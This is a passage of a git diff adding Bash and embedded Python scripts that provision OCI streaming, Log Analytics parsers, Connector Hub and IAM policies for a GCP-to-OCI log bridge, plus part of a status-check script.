${#STREAM_NAMES[@]} + 1 )) + printf " %d) [Create a new stream]\n" "$CREATE_IDX" + echo "" + while true; do + read -rp " Select a stream [1-$CREATE_IDX]: " choice + if [[ "$choice" =~ ^[0-9]+$ ]] && [ "$choice" -ge 1 ] && [ "$choice" -le "$CREATE_IDX" ]; then + break + else + echo " Invalid selection. Enter a number between 1 and $CREATE_IDX." + fi + done + + if [ "$choice" -lt "$CREATE_IDX" ]; then + # User selected an existing stream + STREAM_ID="${STREAM_IDS[$((choice-1))]}" + STREAM_NAME="${STREAM_NAMES[$((choice-1))]}" + echo " Selected: $STREAM_NAME" + echo "" + # Look up the stream pool ID from the selected stream + STREAM_DETAIL=$(oci streaming admin stream get --stream-id "$STREAM_ID") + POOL_ID=$(echo "$STREAM_DETAIL" | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['stream-pool-id'])") + echo " Stream pool: ${POOL_ID:0:50}..." + SKIP_STREAM_CREATION=true + + # Offer to save to .env.local + if [ -f "$PROJECT_DIR/.env.local" ]; then + read -rp " Save OCI_STREAM_OCID to .env.local? [Y/n]: " save_choice + if [[ ! "$save_choice" =~ ^[nN] ]]; then + if grep -q '^OCI_STREAM_OCID=' "$PROJECT_DIR/.env.local"; then + sed -i.bak "s|^OCI_STREAM_OCID=.*|OCI_STREAM_OCID=\"$STREAM_ID\"|" "$PROJECT_DIR/.env.local" + rm -f "$PROJECT_DIR/.env.local.bak" + else + echo "OCI_STREAM_OCID=\"$STREAM_ID\"" >> "$PROJECT_DIR/.env.local" + fi + echo " Saved to .env.local" + fi + fi + else + echo " Creating a new stream..." + fi + else + echo " No existing streams found. Creating a new one..." + fi +fi + +# ── 1. Create Stream Pool ─────────────────────────────────── +if [ "$SKIP_STREAM_CREATION" = true ]; then + echo "" + echo "1/7 Stream Pool: using existing (from selected stream)" +else + echo "" + echo "1/7 Creating Stream Pool: $STREAM_POOL_NAME" + EXISTING_POOL=$(oci streaming admin stream-pool list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_POOL_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + + if [ -n "$EXISTING_POOL" ] && [ "$EXISTING_POOL" != "null" ]; then + POOL_ID="$EXISTING_POOL" + echo " Pool already exists: ${POOL_ID:0:50}..." + else + POOL_ID=$(oci streaming admin stream-pool create \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_POOL_NAME" \ + --query 'data.id' --raw-output \ + --wait-for-state ACTIVE \ + --max-wait-seconds 120) + echo " Pool created: ${POOL_ID:0:50}..." + fi +fi + +# ── 2. Create Stream ──────────────────────────────────────── +if [ "$SKIP_STREAM_CREATION" = true ]; then + echo "2/7 Stream: using existing ($STREAM_NAME)" +else + echo "2/7 Creating Stream: $STREAM_NAME" + EXISTING_STREAM=$(oci streaming admin stream list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + + if [ -n "$EXISTING_STREAM" ] && [ "$EXISTING_STREAM" != "null" ]; then + STREAM_ID="$EXISTING_STREAM" + echo " Stream already exists: ${STREAM_ID:0:50}..." + else + STREAM_ID=$(oci streaming admin stream create \ + --name "$STREAM_NAME" \ + --partitions "$PARTITIONS" \ + --stream-pool-id "$POOL_ID" \ + --query 'data.id' --raw-output \ + --wait-for-state ACTIVE \ + --max-wait-seconds 120) + echo " Stream created: ${STREAM_ID:0:50}..." + fi +fi + +# ── 3. Kafka Connection Info ─────────────────────────────── +echo "3/7 Retrieving Kafka connection details..." +POOL_INFO=$(oci streaming admin stream-pool get --stream-pool-id "$POOL_ID") +KAFKA_ENDPOINT=$(echo "$POOL_INFO" | python3 -c " +import sys, json +d = json.load(sys.stdin) +settings = d.get('data', {}).get('kafka-settings', {}) +print(settings.get('bootstrap-servers', 'N/A')) +" 2>/dev/null || echo "N/A") +echo " Bootstrap servers: $KAFKA_ENDPOINT" + +# ── 4. Create Log Analytics Log Group ──────────────────────── +echo "4/7 Creating Log Analytics Log Group: $LOG_GROUP_NAME" +EXISTING_LG=$(oci log-analytics log-group list \ + --compartment-id "$COMPARTMENT" \ + --namespace-name "$NAMESPACE" \ + --query "data.items[?\"display-name\"=='$LOG_GROUP_NAME'].id | [0]" \ + --raw-output 2>/dev/null || true) + +if [ -n "$EXISTING_LG" ] && [ "$EXISTING_LG" != "null" ] && [ "$EXISTING_LG" != "None" ]; then + LOG_GROUP_ID="$EXISTING_LG" + echo " Log Group already exists: ${LOG_GROUP_ID:0:50}..." +else + LOG_GROUP_ID=$(oci log-analytics log-group create \ + --compartment-id "$COMPARTMENT" \ + --namespace-name "$NAMESPACE" \ + --display-name "$LOG_GROUP_NAME" \ + --description "GCP Cloud Logging imports via gcplogs2oci bridge" \ + --query 'data.id' --raw-output) + echo " Log Group created: ${LOG_GROUP_ID:0:50}..." +fi + +# ── 5. Create custom Log Analytics fields + parser ────────── +echo "5/7 Creating GCP Cloud Logging parser and fields..." +export LA_NAMESPACE="$NAMESPACE" + +python3 << 'PYEOF' +import oci, os, sys, json + +sys.path.insert(0, os.environ.get("PROJECT_DIR", ".")) + +# Build OCI config from environment +key_file = os.environ.get("OCI_KEY_FILE") +key_content = os.environ.get("OCI_KEY_CONTENT") +if key_file: + import re, textwrap + with open(os.path.expanduser(key_file)) as f: + raw = f.read() + # parse_key inline (minimal) + begin = re.search(r"-----BEGIN [A-Z ]+-----", raw) + end = re.search(r"-----END [A-Z ]+-----", raw) + key_pem = raw[begin.start():end.end()] +elif key_content: + key_pem = key_content +else: + print("ERROR: Set OCI_KEY_FILE or OCI_KEY_CONTENT") + sys.exit(1) + +cfg = { + "user": os.environ["OCI_USER_OCID"], + "key_content": key_pem, + "pass_phrase": os.environ.get("OCI_KEY_PASSPHRASE", ""), + "fingerprint": os.environ["OCI_FINGERPRINT"], + "tenancy": os.environ["OCI_TENANCY_OCID"], + "region": os.environ["OCI_REGION"], +} + +namespace = os.environ["LA_NAMESPACE"] +client = oci.log_analytics.LogAnalyticsClient(cfg) + +# ── Create custom fields (auto-generated internal names) ──── +from oci.log_analytics.models import UpsertLogAnalyticsFieldDetails + +field_display_names = [ + # Multicloud + "Cloud Provider", + # Core GCP LogEntry fields + "GCP Insert ID", + "GCP Log Name", + "GCP Resource Type", + "GCP Project ID", + "GCP Service Name", + "GCP Method Name", + "GCP Principal Email", + "GCP Zone", + "GCP Instance ID", + "GCP Trace ID", + "GCP Span ID", + "GCP Text Payload", + # HTTP request (Cloud Run, Load Balancer, etc.) + "GCP HTTP Method", + "GCP HTTP URL", + "GCP HTTP Status", + "GCP HTTP Latency", + "GCP HTTP Protocol", + "GCP HTTP Remote IP", + "GCP HTTP Request Size", + "GCP HTTP Response Size", + "GCP HTTP Server IP", + "GCP HTTP User Agent", + # Source location & operation + "GCP Operation ID", + "GCP Source File", + "GCP Source Line", + "GCP Source Function", + # Cloud Run resource labels + "GCP Configuration Name", + "GCP Location", + "GCP Cloud Run Service", + "GCP Revision Name", + # Audit log extended fields + "GCP Resource Name", + "GCP Caller IP", + "GCP Caller User Agent", + # Metadata + "GCP Receive Timestamp", + # Resource labels (multi-type) + "GCP Subscription ID", + "GCP Topic ID", + "GCP Sink Name", + "GCP Sink Destination", + # Labels + "GCP Label Instance ID", +] + +field_name_map = {} +for display_name in field_display_names: + details = UpsertLogAnalyticsFieldDetails() + details.display_name = display_name + details.data_type = "String" + details.is_multi_valued = False + try: + resp = client.upsert_field(namespace, details) + field_name_map[display_name] = resp.data.name + print(f" Field OK {resp.data.name:12s} -> {display_name}") + except oci.exceptions.ServiceError as e: + # Field may already exist; try to find it + try: + fields = client.list_fields(namespace, display_name_contains=display_name).data.items + for f in fields: + if f.display_name == display_name: + field_name_map[display_name] = f.name + print(f" Field EXISTS {f.name:12s} -> {display_name}") + break + except Exception: + print(f" Field ERR: {display_name}: {e.message}") + +# ── Create JSON parser ────────────────────────────────────── +# Map: (field_display_name or built-in name, json_path, seq) +# 44 field mappings covering all GCP LogEntry types: +# - Audit logs (gce_instance, pubsub_topic/subscription, logging_sink, project) +# - Cloud Run logs (stdout, requests with httpRequest) +# - Generic metadata (trace, span, receiveTimestamp, etc.) +field_mappings = [ + # Built-in LA fields + ("msg", "$.jsonPayload.message", 1), + ("sevlvl", "$.severity", 2), + ("time", "$.timestamp", 3), + ("method", "$.protoPayload.methodName", 4), + # Multicloud + ("Cloud Provider", "$.cloudProvider", 5), + # Core GCP LogEntry + ("GCP Insert ID", "$.insertId", 6), + ("GCP Log Name", "$.logName", 7), + ("GCP Resource Type", "$.resource.type", 8), + ("GCP Project ID", "$.resource.labels.project_id", 9), + ("GCP Service Name", "$.protoPayload.serviceName", 10), + ("GCP Method Name", "$.protoPayload.methodName", 11), + ("GCP Principal Email", "$.protoPayload.authenticationInfo.principalEmail", 12), + ("GCP Zone", "$.resource.labels.zone", 13), + ("GCP Instance ID", "$.resource.labels.instance_id", 14), + ("GCP Trace ID", "$.trace", 15), + ("GCP Span ID", "$.spanId", 16), + ("GCP Text Payload", "$.textPayload", 17), + # HTTP request (full) + ("GCP HTTP Method", "$.httpRequest.requestMethod", 18), + ("GCP HTTP URL", "$.httpRequest.requestUrl", 19), + ("GCP HTTP Status", "$.httpRequest.status", 20), + ("GCP HTTP Latency", "$.httpRequest.latency", 21), + ("GCP HTTP Protocol", "$.httpRequest.protocol", 22), + ("GCP HTTP Remote IP", "$.httpRequest.remoteIp", 23), + ("GCP HTTP Request Size", "$.httpRequest.requestSize", 24), + ("GCP HTTP Response Size", "$.httpRequest.responseSize", 25), + ("GCP HTTP Server IP", "$.httpRequest.serverIp", 26), + ("GCP HTTP User Agent", "$.httpRequest.userAgent", 27), + # Source location & operation + ("GCP Operation ID", "$.operation.id", 28), + ("GCP Source File", "$.sourceLocation.file", 29), + ("GCP Source Line", "$.sourceLocation.line", 30), + ("GCP Source Function", "$.sourceLocation.function", 31), + # Cloud Run resource labels + ("GCP Configuration Name", "$.resource.labels.configuration_name", 32), + ("GCP Location", "$.resource.labels.location", 33), + ("GCP Cloud Run Service", "$.resource.labels.service_name", 34), + ("GCP Revision Name", "$.resource.labels.revision_name", 35), + # Audit log extended + ("GCP Resource Name", "$.protoPayload.resourceName", 36), + ("GCP Caller IP", "$.protoPayload.requestMetadata.callerIp", 37), + ("GCP Caller User Agent", "$.protoPayload.requestMetadata.callerSuppliedUserAgent", 38), + # Metadata + ("GCP Receive Timestamp", "$.receiveTimestamp", 39), + # Resource labels (multi-type) + ("GCP Subscription ID", "$.resource.labels.subscription_id", 40), + ("GCP Topic ID", "$.resource.labels.topic_id", 41), + ("GCP Sink Name", "$.resource.labels.name", 42), + ("GCP Sink Destination", "$.resource.labels.destination", 43), + # Labels + ("GCP Label Instance ID", "$.labels.instanceId", 44), +] + +from oci.log_analytics.models import ( + UpsertLogAnalyticsParserDetails, + LogAnalyticsParserField, + LogAnalyticsField, +) + +parser_field_maps = [] +for name_or_display, json_path, seq in field_mappings: + internal = field_name_map.get(name_or_display, name_or_display) + parser_field_maps.append( + LogAnalyticsParserField( + field=LogAnalyticsField(name=internal), + parser_field_name=internal, + parser_field_sequence=seq, + storage_field_name=internal, + structured_column_info=json_path, + ) + ) + +# Example log content for UI validation (synthetic — exercises all 44 field mappings) +example_log = { + "cloudProvider": "GCP", + "insertId": "abc123def456-0", + "timestamp": "2026-01-15T10:30:00.000Z", + "receiveTimestamp": "2026-01-15T10:30:00.500Z", + "severity": "INFO", + "logName": "projects/my-project/logs/cloudaudit.googleapis.com%2Factivity", + "resource": { + "type": "cloud_run_revision", + "labels": { + "project_id": "my-project", + "zone": "us-central1-a", + "instance_id": "1234567890", + "configuration_name": "my-service", + "location": "europe-west1", + "service_name": "my-service", + "revision_name": "my-service-00001-abc", + "subscription_id": "my-subscription", + "topic_id": "my-topic", + "name": "my-log-sink", + "destination": "pubsub.googleapis.com/projects/my-project/topics/export", + }, + }, + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "methodName": "v1.compute.instances.start", + "serviceName": "compute.googleapis.com", + "authenticationInfo": {"principalEmail": "user@example.com"}, + "resourceName": "projects/my-project/zones/us-central1-a/instances/my-instance", + "requestMetadata": { + "callerIp": "203.0.113.50", + "callerSuppliedUserAgent": "google-cloud-sdk gcloud/450.0.0", + }, + "status": {}, + }, + "jsonPayload": {"message": "Instance started successfully"}, + "textPayload": "Container started on port 8080", + "httpRequest": { + "requestMethod": "GET", + "requestUrl": "https://my-service.europe-west1.run.app/api/health", + "status": 200, + "latency": "0.025s", + "protocol": "HTTP/1.1", + "remoteIp": "203.0.113.50", + "requestSize": "256", + "responseSize": "1024", + "serverIp": "10.0.0.1", + "userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1)", + }, + "trace": "projects/my-project/traces/abc123def456789", + "spanId": "000000000000004a", + "operation": {"id": "operation-12345"}, + "sourceLocation": {"file": "handler.py", "line": "42", "function": "handleRequest"}, + "labels": {"instanceId": "00a1b2c3d4e5f6"}, +} +example_content = json.dumps(example_log, indent=2) + +# Upsert parser via SDK (handles etag for updates) +parser_details = UpsertLogAnalyticsParserDetails( + name="gcpCloudLoggingJsonParser", + display_name="GCP Cloud Logging JSON Parser", + description="Parses all GCP Cloud Logging LogEntry JSON types with 44 field mappings covering audit, Cloud Run, HTTP request, and metadata fields", + type="JSON", + language="en_US", + encoding="UTF-8", + is_default=True, + is_single_line_content=False, + is_system=False, + header_content="$:0", + content=example_content, + example_content=example_content, + field_maps=parser_field_maps, +) + +# Get existing etag if parser already exists +etag = None +try: + existing = client.get_parser(namespace, "gcpCloudLoggingJsonParser") + etag = existing.headers.get("etag") +except oci.exceptions.ServiceError: + pass + +kwargs = {"if_match": etag} if etag else {} +result = client.upsert_parser(namespace, parser_details, **kwargs) +print(f" Parser OK: {result.data.name} ({len(result.data.field_maps)} field maps)") + +# Save field name map for source creation +with open('/tmp/gcp_field_name_map.json', 'w') as f: + json.dump(field_name_map, f, indent=2) + +PYEOF + +# ── 6. Create Log Analytics source ────────────────────────── +echo "6/7 Creating Log Analytics source: $SOURCE_NAME" + +# Check if source already exists +EXISTING_SOURCE=$(oci log-analytics source list-sources \ + --namespace-name "$NAMESPACE" \ + --compartment-id "$COMPARTMENT" \ + --name "$SOURCE_NAME" \ + --is-system ALL \ + --query 'data.items[0].name' --raw-output 2>/dev/null || true) + +if [ -n "$EXISTING_SOURCE" ] && [ "$EXISTING_SOURCE" != "null" ] && [ "$EXISTING_SOURCE" != "None" ]; then + echo " Source already exists: $EXISTING_SOURCE" +else + # Prepare parsers and entity-types JSON + cat > /tmp/gcp_source_parsers.json << 'JSONEOF' +[{"name": "gcpCloudLoggingJsonParser", "isDefault": true}] +JSONEOF + + cat > /tmp/gcp_source_entity_types.json << 'JSONEOF' +[{"entityType": "oci_generic_resource", "entityTypeCategory": "Undefined", "entityTypeDisplayName": "OCI Generic Resource"}] +JSONEOF + + SOURCE_RESULT=$(oci log-analytics source upsert-source \ + --namespace-name "$NAMESPACE" \ + --name gcpCloudLoggingSource \ + --display-name "$SOURCE_NAME" \ + --description "GCP Cloud Logging structured logs from Pub/Sub via OCI Streaming. Supports multicloud monitoring with Cloud Provider = GCP." \ + --type-name "os_file" \ + --is-system false \ + --is-for-cloud false \ + --parsers file:///tmp/gcp_source_parsers.json \ + --entity-types file:///tmp/gcp_source_entity_types.json \ + 2>&1 || true) + + if echo "$SOURCE_RESULT" | grep -q '"name"'; then + echo " Source created" + else + echo " Source creation result: $(echo "$SOURCE_RESULT" | head -3)" + fi +fi + +# ── 7. Create Connector Hub ───────────────────────────────── +echo "7/7 Creating Connector Hub: $SCH_NAME" + +EXISTING_SCH=$(oci sch service-connector list \ + --compartment-id "$COMPARTMENT" \ + --display-name "$SCH_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + +if [ -n "$EXISTING_SCH" ] && [ "$EXISTING_SCH" != "null" ] && [ "$EXISTING_SCH" != "None" ]; then + SCH_ID="$EXISTING_SCH" + echo " SCH already exists: ${SCH_ID:0:50}..." +else + # Source: OCI Streaming + cat > /tmp/sch_source.json << JSONEOF +{ + "kind": "streaming", + "streamId": "$STREAM_ID", + "cursor": {"kind": "TRIM_HORIZON"} +} +JSONEOF + + # Target: Log Analytics with the GCP source + cat > /tmp/sch_target.json << JSONEOF +{ + "kind": "loggingAnalytics", + "logGroupId": "$LOG_GROUP_ID", + "logSourceIdentifier": "$SOURCE_NAME" +} +JSONEOF + + SCH_ID=$(oci sch service-connector create \ + --compartment-id "$COMPARTMENT" \ + --display-name "$SCH_NAME" \ + --description "Forwards GCP Pub/Sub logs from OCI Streaming to Log Analytics ($LOG_GROUP_NAME group) using GCP Cloud Logging parser" \ + --source file:///tmp/sch_source.json \ + --target file:///tmp/sch_target.json \ + --query 'data.id' --raw-output \ + --wait-for-state ACTIVE \ + --max-wait-seconds 300 2>&1 || true) + + if [ -n "$SCH_ID" ] && [ "$SCH_ID" != "null" ]; then + echo " SCH created: ${SCH_ID:0:50}..." + else + echo " SCH creation may need manual setup (check IAM policies)" + echo " Run: ./scripts/setup_oci_iam.sh --sch-only" + echo " Required policy: Allow any-user to use stream-pull + stream-consume" + echo " Allow any-user to use log-analytics-log-group" + fi +fi + +# ── Cleanup temp files ────────────────────────────────────── +rm -f /tmp/gcp_field_name_map.json \ + /tmp/gcp_source_parsers.json /tmp/gcp_source_entity_types.json \ + /tmp/sch_source.json /tmp/sch_target.json 2>/dev/null + +# Derive message endpoint +MSG_ENDPOINT="" +if [ "$KAFKA_ENDPOINT" != "N/A" ]; then + MSG_ENDPOINT="https://$(echo "$KAFKA_ENDPOINT" | cut -d: -f1 | sed 's/^cell-1.streaming./cell-1.streaming./')" +fi + +echo "" +echo "============================================================" +echo " OCI Setup Complete" +echo "============================================================" +echo "" +echo " Resources created in OCI ($REGION):" +echo " ┌──────────────────────────┬────────────────────────────────────┐" +echo " │ Resource │ Name / Value │" +echo " ├──────────────────────────┼────────────────────────────────────┤" +echo " │ Stream Pool │ $STREAM_POOL_NAME │" +echo " │ Stream │ $STREAM_NAME │" +echo " │ Kafka Bootstrap │ $KAFKA_ENDPOINT │" +echo " │ Log Analytics Namespace │ $NAMESPACE │" +echo " │ Log Analytics Log Group │ $LOG_GROUP_NAME │" +echo " │ Custom Fields │ 40 GCP-specific fields │" +echo " │ JSON Parser │ $PARSER_NAME (44 mappings) │" +echo " │ Log Analytics Source │ $SOURCE_NAME │" +echo " │ Connector Hub │ $SCH_NAME │" +echo " └──────────────────────────┴────────────────────────────────────┘" +echo "" +echo " Pipeline:" +echo " GCP Cloud Logging → Pub/Sub → Bridge → OCI Stream → SCH → Log Analytics" +echo "" +echo " Update .env.local with:" +echo " OCI_STREAM_OCID=$STREAM_ID" +echo " OCI_STREAM_POOL_ID=$POOL_ID" +[ -n "$MSG_ENDPOINT" ] && echo " OCI_MESSAGE_ENDPOINT=$MSG_ENDPOINT" +echo " OCI_LOG_ANALYTICS_NAMESPACE=$NAMESPACE" +echo "" +echo "Next steps:" +echo " 1. Update .env.local with the values above" +echo " 2. Run: python scripts/test_oci_credentials.py" +echo " 3. Run: python -m bridge.main --drain" +echo "" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/setup_oci_iam.sh b/observability-and-management/assets/gcplogs2oci/scripts/setup_oci_iam.sh new file mode 100644 index 000000000..78d85e502 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/setup_oci_iam.sh @@ -0,0 +1,179 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# setup_oci_iam.sh – Create recommended OCI IAM policies for +# gcplogs2oci. +# +# Policies: +# 1) Connector Hub runtime policy (always applied) +# 2) Optional setup/operator group policy +# 3) Optional bridge sender group policy +# +# Optional environment variables: +# OCI_IAM_POLICY_PREFIX Policy name prefix (default: gcplogs2oci) +# OCI_IAM_OPERATOR_GROUP Group that runs setup_oci.sh / destroy_oci.sh +# OCI_IAM_BRIDGE_GROUP Group used by bridge OCI API key principal +# +# Usage: +# ./scripts/setup_oci_iam.sh +# ./scripts/setup_oci_iam.sh --sch-only +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +SCH_ONLY=false +while [ $# -gt 0 ]; do + case "$1" in + --sch-only) SCH_ONLY=true ;; + *) + echo "ERROR: Unknown argument: $1" + echo "Usage: ./scripts/setup_oci_iam.sh [--sch-only]" + exit 1 + ;; + esac + shift +done + +if ! command -v oci >/dev/null 2>&1; then + echo "ERROR: oci CLI is required." + exit 1 +fi + +# Load environment +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + echo "Loaded .env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + echo "Loaded .env" +else + echo "ERROR: No .env.local or .env found." + exit 1 +fi + +TENANCY_OCID="${OCI_TENANCY_OCID:?OCI_TENANCY_OCID is required}" +COMPARTMENT_OCID="${OCI_COMPARTMENT_OCID:?OCI_COMPARTMENT_OCID is required}" +POLICY_PREFIX="${OCI_IAM_POLICY_PREFIX:-gcplogs2oci}" +OPERATOR_GROUP="${OCI_IAM_OPERATOR_GROUP:-}" +BRIDGE_GROUP="${OCI_IAM_BRIDGE_GROUP:-}" + +UPDATED=0 +CREATED=0 +SKIPPED=0 + +to_json_array() { + python3 - "$@" <<'PYEOF' +import json +import sys + +print(json.dumps(sys.argv[1:])) +PYEOF +} + +upsert_policy() { + local policy_name="$1" + local description="$2" + shift 2 + local statements=("$@") + + local statements_json + statements_json="$(to_json_array "${statements[@]}")" + + local policy_id + policy_id="$(oci iam policy list \ + --compartment-id "$TENANCY_OCID" \ + --name "$policy_name" \ + --query 'data[0].id' \ + --raw-output 2>/dev/null || true)" + + if [ -n "$policy_id" ] && [ "$policy_id" != "null" ] && [ "$policy_id" != "None" ]; then + oci iam policy update \ + --policy-id "$policy_id" \ + --description "$description" \ + --statements "$statements_json" \ + --force >/dev/null + echo " Updated policy: $policy_name" + UPDATED=$((UPDATED + 1)) + else + oci iam policy create \ + --compartment-id "$TENANCY_OCID" \ + --name "$policy_name" \ + --description "$description" \ + --statements "$statements_json" >/dev/null + echo " Created policy: $policy_name" + CREATED=$((CREATED + 1)) + fi +} + +echo "============================================================" +echo " OCI IAM Setup for gcplogs2oci" +echo "============================================================" +echo " Tenancy: ${TENANCY_OCID:0:30}..." +echo " Compartment: ${COMPARTMENT_OCID:0:30}..." +echo " Policy prefix: $POLICY_PREFIX" +if [ -n "$OPERATOR_GROUP" ]; then + echo " Operator group: $OPERATOR_GROUP" +fi +if [ -n "$BRIDGE_GROUP" ]; then + echo " Bridge group: $BRIDGE_GROUP" +fi +[ "$SCH_ONLY" = true ] && echo " Mode: SCH policy only" +echo "============================================================" +echo "" + +# 1) Connector Hub runtime policy (required by pipeline) +SCH_POLICY_NAME="${POLICY_PREFIX}-sch-pipeline" +SCH_POLICY_DESC="Allow Connector Hub to consume OCI Streaming and write to Log Analytics for gcplogs2oci" +SCH_STATEMENTS=( + "Allow any-user to use stream-pull in compartment id '${COMPARTMENT_OCID}' where all {request.principal.type='serviceconnector'}" + "Allow any-user to use stream-consume in compartment id '${COMPARTMENT_OCID}' where all {request.principal.type='serviceconnector'}" + "Allow any-user to use log-analytics-log-group in compartment id '${COMPARTMENT_OCID}' where all {request.principal.type='serviceconnector'}" +) +upsert_policy "$SCH_POLICY_NAME" "$SCH_POLICY_DESC" "${SCH_STATEMENTS[@]}" + +if [ "$SCH_ONLY" = false ]; then + # 2) Setup operator policy (optional but recommended) + if [ -n "$OPERATOR_GROUP" ]; then + OPERATOR_POLICY_NAME="${POLICY_PREFIX}-setup-operator" + OPERATOR_POLICY_DESC="Allow setup operators to provision gcplogs2oci OCI resources" + OPERATOR_STATEMENTS=( + "Allow group ${OPERATOR_GROUP} to manage stream-pools in compartment id '${COMPARTMENT_OCID}'" + "Allow group ${OPERATOR_GROUP} to manage streams in compartment id '${COMPARTMENT_OCID}'" + "Allow group ${OPERATOR_GROUP} to manage serviceconnectors in compartment id '${COMPARTMENT_OCID}'" + "Allow group ${OPERATOR_GROUP} to manage log-analytics-log-group in compartment id '${COMPARTMENT_OCID}'" + "Allow group ${OPERATOR_GROUP} to manage loganalytics-features-family in compartment id '${COMPARTMENT_OCID}'" + ) + upsert_policy "$OPERATOR_POLICY_NAME" "$OPERATOR_POLICY_DESC" "${OPERATOR_STATEMENTS[@]}" + else + echo " Skipped operator policy (OCI_IAM_OPERATOR_GROUP not set)." + SKIPPED=$((SKIPPED + 1)) + fi + + # 3) Bridge sender policy (optional; required when bridge uses OCI API key) + if [ -n "$BRIDGE_GROUP" ]; then + BRIDGE_POLICY_NAME="${POLICY_PREFIX}-bridge-stream-push" + BRIDGE_POLICY_DESC="Allow bridge runtime principal to push messages to OCI Streaming" + BRIDGE_STATEMENTS=( + "Allow group ${BRIDGE_GROUP} to use stream-push in compartment id '${COMPARTMENT_OCID}'" + "Allow group ${BRIDGE_GROUP} to inspect streams in compartment id '${COMPARTMENT_OCID}'" + ) + upsert_policy "$BRIDGE_POLICY_NAME" "$BRIDGE_POLICY_DESC" "${BRIDGE_STATEMENTS[@]}" + else + echo " Skipped bridge policy (OCI_IAM_BRIDGE_GROUP not set)." + SKIPPED=$((SKIPPED + 1)) + fi +fi + +echo "" +echo "============================================================" +echo " OCI IAM Setup Complete" +echo "============================================================" +echo " Policies created: $CREATED" +echo " Policies updated: $UPDATED" +echo " Skipped: $SKIPPED" +echo "" +echo "Recommended next steps:" +echo " 1. Run ./scripts/setup_oci.sh" +echo " 2. Validate with: python scripts/test_oci_credentials.py" +echo "" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/status.sh b/observability-and-management/assets/gcplogs2oci/scripts/status.sh new file mode 100644 index 000000000..d8a028423 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/status.sh @@ -0,0 +1,366 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# status.sh – Audit the current state of all gcplogs2oci resources +# +# Checks the existence and health of every resource created by +# setup_gcp.sh and setup_oci.sh, plus credentials and bridge config. +# +# Usage: +# ./scripts/status.sh +# ───────────────────────────────────────────────────────────── +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" + +# Load environment +ENV_FILE="" +if [ -f "$PROJECT_DIR/.env.local" ]; then + set -a; source "$PROJECT_DIR/.env.local"; set +a + ENV_FILE="$PROJECT_DIR/.env.local" +elif [ -f "$PROJECT_DIR/.env" ]; then + set -a; source "$PROJECT_DIR/.env"; set +a + ENV_FILE="$PROJECT_DIR/.env" +fi + +# Counters +PASS=0 +FAIL=0 +WARN=0 + +# ── Helpers ────────────────────────────────────────────────── +mask() { + local val="$1" keep="${2:-6}" + if [ -z "$val" ]; then echo ""; return; fi + if [ ${#val} -le "$keep" ]; then echo "***"; return; fi + echo "${val:0:$keep}...***" +} + +check_pass() { echo " [OK] $1"; ((PASS++)); } +check_fail() { echo " [FAIL] $1"; ((FAIL++)); } +check_warn() { echo " [WARN] $1"; ((WARN++)); } +check_skip() { echo " [SKIP] $1"; } + +separator() { + echo "" + echo " ── $1 ──" +} + +echo "" +echo "============================================================" +echo " gcplogs2oci – Infrastructure Status Report" +echo "============================================================" +echo "" + +# ── 0. Local Environment ───────────────────────────────────── +separator "Local Environment" + +if [ -n "$ENV_FILE" ]; then + check_pass "Environment file: $ENV_FILE" +else + check_fail "No .env.local or .env found" +fi + +if [ -f "$PROJECT_DIR/requirements.txt" ]; then + if python3 -c "import oci" 2>/dev/null; then + check_pass "Python OCI SDK installed" + else + check_warn "Python OCI SDK not installed (pip install oci)" + fi + if python3 -c "from google.cloud import pubsub_v1" 2>/dev/null; then + check_pass "Python GCP Pub/Sub SDK installed" + else + check_warn "Python GCP Pub/Sub SDK not installed (pip install google-cloud-pubsub)" + fi +fi + +if command -v gcloud &>/dev/null; then + GCLOUD_ACCOUNT=$(gcloud auth list --filter=status:ACTIVE --format='value(account)' 2>/dev/null || true) + if [ -n "$GCLOUD_ACCOUNT" ]; then + check_pass "gcloud CLI authenticated: $(mask "$GCLOUD_ACCOUNT" 10)" + else + check_warn "gcloud CLI installed but not authenticated" + fi +else + check_fail "gcloud CLI not installed" +fi + +if command -v oci &>/dev/null; then + check_pass "OCI CLI installed" +else + check_fail "OCI CLI not installed" +fi + +# ── 1. GCP Resources ───────────────────────────────────────── +separator "GCP Resources" + +PROJECT="${GCP_PROJECT_ID:-}" +TOPIC="${GCP_PUBSUB_TOPIC:-oci-log-export-topic}" +SUBSCRIPTION="${GCP_PUBSUB_SUBSCRIPTION:-fluentd-oci-bridge-sub}" +SINK_NAME="${GCP_LOG_SINK_NAME:-gcp-to-oci-sink}" +SA_NAME="${GCP_SA_NAME:-oci-log-shipper-sa}" + +if [ -z "$PROJECT" ]; then + check_fail "GCP_PROJECT_ID not set" + echo " Skipping GCP resource checks." +else + check_pass "GCP Project: $PROJECT" + gcloud config set project "$PROJECT" &>/dev/null + + # Topic + if gcloud pubsub topics describe "$TOPIC" &>/dev/null; then + check_pass "Pub/Sub Topic: $TOPIC" + else + check_fail "Pub/Sub Topic: $TOPIC (not found)" + fi + + # Subscription + if gcloud pubsub subscriptions describe "$SUBSCRIPTION" &>/dev/null; then + SUB_INFO=$(gcloud pubsub subscriptions describe "$SUBSCRIPTION" 